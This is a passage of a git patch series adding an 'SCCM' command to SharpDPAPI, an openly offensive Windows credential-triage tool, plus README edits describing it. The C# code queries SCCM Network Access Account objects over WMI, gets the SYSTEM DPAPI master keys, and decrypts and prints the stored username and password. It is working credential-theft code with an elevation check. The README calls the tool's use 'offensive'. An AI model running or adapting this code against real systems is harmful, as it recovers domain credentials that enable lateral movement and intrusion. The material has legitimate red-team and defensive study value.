{prop.Type.ToString()} as a String"); + } + } + } + else + { + Console.WriteLine("{0}: {1}", prop.Name, prop.Value); + } + } + } + Console.WriteLine("-----------------------------------"); + } + } + } + catch (ManagementException err) + { + Console.WriteLine("An error occurred while querying for WMI data: " + err.Message); + } + } + + public static void NAADecrypt(string blob, Dictionary masterkeys) + { + byte[] blobBytes = new byte[blob.Length / 2]; + for (int i = 0; i < blob.Length; i += 2) + { + blobBytes[i / 2] = Byte.Parse(blob.Substring(i, 2), System.Globalization.NumberStyles.HexNumber); + } + + var offset = 4; + byte[] unmangedArray = new byte[blob.Length / 2]; + Buffer.BlockCopy(blobBytes, 4, unmangedArray, 0, blobBytes.Length - offset); + + blobBytes = unmangedArray; + + if (blobBytes.Length > 0) + { + byte[] decBytesRaw = Dpapi.DescribeDPAPIBlob(blobBytes, masterkeys, "blob"); + + if ((decBytesRaw != null) && (decBytesRaw.Length != 0)) + { + if (Helpers.IsUnicode(decBytesRaw)) + { + string data = ""; + int finalIndex = Array.LastIndexOf(decBytesRaw, (byte)0); + if (finalIndex > 1) + { + byte[] decBytes = new byte[finalIndex + 1]; + Array.Copy(decBytesRaw, 0, decBytes, 0, finalIndex); + data = Encoding.Unicode.GetString(decBytes); + } + else + { + data = Encoding.ASCII.GetString(decBytesRaw); + } + Console.WriteLine(" dec(blob) : {0}", data); + } + else + { + string hexData = BitConverter.ToString(decBytesRaw).Replace("-", " "); + Console.WriteLine(" dec(blob) : {0}", hexData); + } + } + } + } + + public static void LocalNetworkAccessAccountsWmi() + { + if (!Helpers.IsHighIntegrity()) + { + Console.WriteLine("[X] Must be elevated to triage SYSTEM DPAPI Credentials!"); + } + else + { + ManagementScope sccmConnection = NewSccmConnection("\\\\localhost\\root\\ccm\\policy\\Machine\\ActualConfig"); + GetClassInstances(sccmConnection, "CCM_NetworkAccessAccount"); + ManagementObjectSearcher searcher = new ManagementObjectSearcher(sccmConnection, new ObjectQuery("SELECT * FROM CCM_NetworkAccessAccount")); + ManagementObjectCollection accounts = searcher.Get(); + if (accounts.Count > 0) + { + foreach (ManagementObject account in accounts) + { + string protectedUsername = account["NetworkAccessUsername"].ToString().Split('[')[2].Split(']')[0]; + string protectedPassword = account["NetworkAccessPassword"].ToString().Split('[')[2].Split(']')[0]; + byte[] protectedUsernameBytes = Helpers.StringToByteArray(protectedUsername); + int length = (protectedUsernameBytes.Length + 16 - 1) / 16 * 16; + Array.Resize(ref protectedUsernameBytes, length); + + Dictionary mappings = Triage.TriageSystemMasterKeys(); + + Console.WriteLine("\r\n[*] SYSTEM master key cache:\r\n"); + foreach (KeyValuePair kvp in mappings) + { + Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); + } + Console.WriteLine(); + + try + { + NAADecrypt(protectedUsername, mappings); + NAADecrypt(protectedPassword, mappings); + } + catch (Exception e) + { + Console.WriteLine("[!] Data was not decrypted. An error occurred."); + Console.WriteLine(e.ToString()); + } + } + } + else + { + Console.WriteLine($"[+] Found 0 instances of CCM_NetworkAccessAccount"); + } + } + + } + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: SCCM Triage"); + arguments.Remove("SCCM"); + + LocalNetworkAccessAccountsWmi(); + } + } } \ No newline at end of file diff --git a/SharpDPAPI/Commands/Triage.cs b/SharpDPAPI/Commands/Triage.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/Commands/Vaults.cs b/SharpDPAPI/Commands/Vaults.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/Domain/ArgumentParser.cs b/SharpDPAPI/Domain/ArgumentParser.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/Domain/ArgumentParserResult.cs b/SharpDPAPI/Domain/ArgumentParserResult.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/Domain/CommandCollection.cs b/SharpDPAPI/Domain/CommandCollection.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/Domain/Info.cs b/SharpDPAPI/Domain/Info.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/Domain/Version.cs b/SharpDPAPI/Domain/Version.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/Program.cs b/SharpDPAPI/Program.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/Properties/AssemblyInfo.cs b/SharpDPAPI/Properties/AssemblyInfo.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/SharpDPAPI.csproj b/SharpDPAPI/SharpDPAPI.csproj old mode 100644 new mode 100755 diff --git a/SharpDPAPI/app.config b/SharpDPAPI/app.config old mode 100644 new mode 100755 diff --git a/SharpDPAPI/lib/Backup.cs b/SharpDPAPI/lib/Backup.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/lib/BigInteger.cs b/SharpDPAPI/lib/BigInteger.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/lib/Crypto.cs b/SharpDPAPI/lib/Crypto.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/lib/Dpapi.cs b/SharpDPAPI/lib/Dpapi.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/lib/Helpers.cs b/SharpDPAPI/lib/Helpers.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/lib/Interop.cs b/SharpDPAPI/lib/Interop.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/lib/LSADump.cs b/SharpDPAPI/lib/LSADump.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/lib/PBKDF2.cs b/SharpDPAPI/lib/PBKDF2.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/lib/Triage.cs b/SharpDPAPI/lib/Triage.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/lib/Tuple.cs b/SharpDPAPI/lib/Tuple.cs old mode 100644 new mode 100755 From 342ca71185cd5729f2b11b24ca5685dacfc8c6b8 Mon Sep 17 00:00:00 2001 From: Duane Michael <41414134+subat0mik@users.noreply.github.com> Date: Mon, 16 May 2022 23:54:08 -0600 Subject: [PATCH 3/5] Added SCCM documentation to readme --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 1caf7c9..b025fa1 100755 --- a/README.md +++ b/README.md @@ -49,6 +49,7 @@ SharpDPAPI is licensed under the BSD 3-Clause license. - [blob](#blob) - [backupkey](#backupkey) - [search](#search) + - [sccm](#sccm) - [SharpChrome Commands](#sharpchrome-commands) - [logins](#logins) - [cookies](#cookies) @@ -197,6 +198,8 @@ For decrypting RDG/RDCMan.settings files with the [rdg](#rdg) command, the `/unp For machine-specific DPAPI triage, the `machinemasterkeys|machinecredentials|machinevaults|machinetriage` commands will do the machine equivalent of user DPAPI triage. If in an elevated context (that is, you need local administrative rights), SharpDPAPI will elevate to SYSTEM privileges to retrieve the "DPAPI_SYSTEM" LSA secret, which is then used to decrypt any discovered machine DPAPI masterkeys. These keys are then used as lookup tables for machine credentials/vaults/etc. +If elevated on a machine that is an SCCM client, if the SCCM environment is configured with a Network Access Account (NAA), the system master key-protected DPAPI blobs containing the NAA credentials can be retrieved via WMI; The [sccm](#sccm) command will query the blobs via WMI, retrieve the system master keys, and decrypt the blobs. + For more offensive DPAPI information, [check here](https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/). #### SharpChrome From e46fbf62b4f10e29ff57193565e966745911d5c8 Mon Sep 17 00:00:00 2001 From: Duane Michael <41414134+subat0mik@users.noreply.github.com> Date: Mon, 16 May 2022 23:56:46 -0600 Subject: [PATCH 4/5] Update README.md --- README.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index b025fa1..28d67fa 100755 --- a/README.md +++ b/README.md @@ -1225,7 +1225,7 @@ Retrieve the DPAPI backup key for the specified DC, outputting the backup key to #### search -The **search** comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs. Usage: +The **search** command will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs. Usage: ``` SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors] SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] @@ -1246,6 +1246,9 @@ When searching a file or folder, specify a path with `/path:C:\Path\to\file\or\f When searching a base64 blob, specify the base64-encoded bytes to scan with the `/base64:` parameter. +#### sccm +The **SCCM** command will query for Network Access Account (NAA) credentials via WMI. If they exist, the blob wills will be decrypted using the relevant system master key. + ## SharpChrome Commands From 899326d5f5e66a722ed87600405bd06e68ade40a Mon Sep 17 00:00:00 2001 From: Duane Michael <41414134+subat0mik@users.noreply.github.com> Date: Mon, 16 May 2022 23:58:49 -0600 Subject: [PATCH 5/5] Update README.md --- README.md | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 28d67fa..7575a15 100755 --- a/README.md +++ b/README.md @@ -198,8 +198,6 @@ For decrypting RDG/RDCMan.settings files with the [rdg](#rdg) command, the `/unp For machine-specific DPAPI triage, the `machinemasterkeys|machinecredentials|machinevaults|machinetriage` commands will do the machine equivalent of user DPAPI triage. If in an elevated context (that is, you need local administrative rights), SharpDPAPI will elevate to SYSTEM privileges to retrieve the "DPAPI_SYSTEM" LSA secret, which is then used to decrypt any discovered machine DPAPI masterkeys. These keys are then used as lookup tables for machine credentials/vaults/etc. -If elevated on a machine that is an SCCM client, if the SCCM environment is configured with a Network Access Account (NAA), the system master key-protected DPAPI blobs containing the NAA credentials can be retrieved via WMI; The [sccm](#sccm) command will query the blobs via WMI, retrieve the system master keys, and decrypt the blobs. - For more offensive DPAPI information, [check here](https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/). #### SharpChrome @@ -1246,9 +1244,8 @@ When searching a file or folder, specify a path with `/path:C:\Path\to\file\or\f When searching a base64 blob, specify the base64-encoded bytes to scan with the `/base64:` parameter. -#### sccm -The **SCCM** command will query for Network Access Account (NAA) credentials via WMI. If they exist, the blob wills will be decrypted using the relevant system master key. - +#### SCCM +If elevated on a machine that is an SCCM client, if the SCCM environment is configured with a Network Access Account (NAA), the system master key-protected DPAPI blobs containing the NAA credentials can be retrieved via WMI; The **SCCM** command will query the blobs via WMI, retrieve the system master keys, and decrypt the blobs. ## SharpChrome Commands